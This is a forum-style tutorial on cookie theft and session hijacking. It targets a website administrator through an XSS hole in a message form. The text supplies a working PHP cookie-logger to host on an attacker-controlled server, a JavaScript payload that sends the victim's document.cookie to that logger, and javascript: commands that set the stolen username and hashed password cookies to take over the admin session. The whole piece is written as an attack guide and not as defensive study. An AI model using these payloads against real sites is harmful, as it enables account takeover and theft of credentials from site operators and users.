[TUTORIAL] Cookie Manipulation

[The High Roller]

 

 

About

 

In this tutorial, I'll go through the processes of exploiting/manipulating cookies. A cookie, also known as browser cookie, is usually a small piece of data sent from a website and stored in a user's browser while a user is browsing a website. When the user visits the website after closing it, he will have session active because of the cookie retrieved information.

 

Session Hijacking

 

First of all, let's begin by explaining what session hijacking is. Basically, when a user registers at a website, he has his login credentials stored in a database. Upon successfully supplying and retrieval of that information, the user gets logged in. That particular attempt of logging and entering the account is creating a session. Sessions keep users logged throughout their whole browsing of the website.

 

Sessions have a name, value and a domain they are working on. Each session has a unique value which could not be traced normally for different users. However, we could use cross-site scripting (XSS) to grab the user's session ID and MD5 hash value.

 

For the sake of this tutorial, we will use the following:

 

■ Mozilla Firefox

■ Firebug (add-on)

■ Hosted PHP-based cookie stealer

 

Our goal is to steal the admin cookie which contains an active session. This could be done via cross-site scripting (XSS). So our vulnerability must be in the scope of the website we have as a target. We need to design a piece of code that would redirect the administrator upon clicking it to a page where our cookie stealer is located. Let's say we've found a vulnerable message system with a few input fields.

 

 

What we aim to do now is send a small forged Javascript code that contains a false link. But what exactly is the cookie stealer?

 

Cookie Stealer

 

The cookie stealer plays the role of our cookie collector. Whenever our target visits the page with the cookie stealer, it will automatically log his cookies.

 

<?php

$container = $HTTP_GET_VARS['cookie'];
$file = fopen('logger.txt', 'a');
fwrite($file, $container . '\n\n');

?>

 

Upload it to your server (I use 000webhost) with the .php extension, of course. Either with an FTP client like FileZilla or the web-based one.

 

 

All that this small piece of code does is the following:

 

With the $container variable we collect/store the cookie itself. The $file variable creates a file that will store the cookie information. And the fwrite() function saves the cookie to the file. Now the \n is used to make a breakline. Practically, it bears the same function of <br /> tag in HTML.

 

Now all that is left is to forge the Javascript code that we are going to use to trick the admin to our cookie stealer.

 

javascript:void(window.location="www.[Censored].com/CookieLogger.php" + document.cookie)

 

The void() function in Javascript indicates that the link will open on the same page. The window.location serves the role of <a href=""> in HTML - Redirecting. And the document.cookie is the part where we grab the cookie from the user.

 

Ok, say we've got the cookie logged successfully. We now need to change our session value to the one we've got.

 

 

strUsername=Administrator%40Account

strPassword=5b3de25c4dba50d2102281633d339b48

 

Now right click and Edit the cookie. That way we'll get the last active session of the administrator.

 

 

We will do the same thing with the password. But note that it's hashed in MD5.

 

Notice: Do NOT try cracking the hash and then place it's plaintext as a session value. It needs to be hashed in order to be parsed by the server.

 

 

You can also get to use the session within the URL bar. Delete the address and type:

 

javascript:void(document.cookie="strUsername=Administrator%40Account")

 

Then the same process for the password

 

javascript:void(document.cookie="strPassword=5b3de25c4dba50d2102281633d339b48")

 

That ends the tutorial. Hope you got something out of it. Thanks for reading!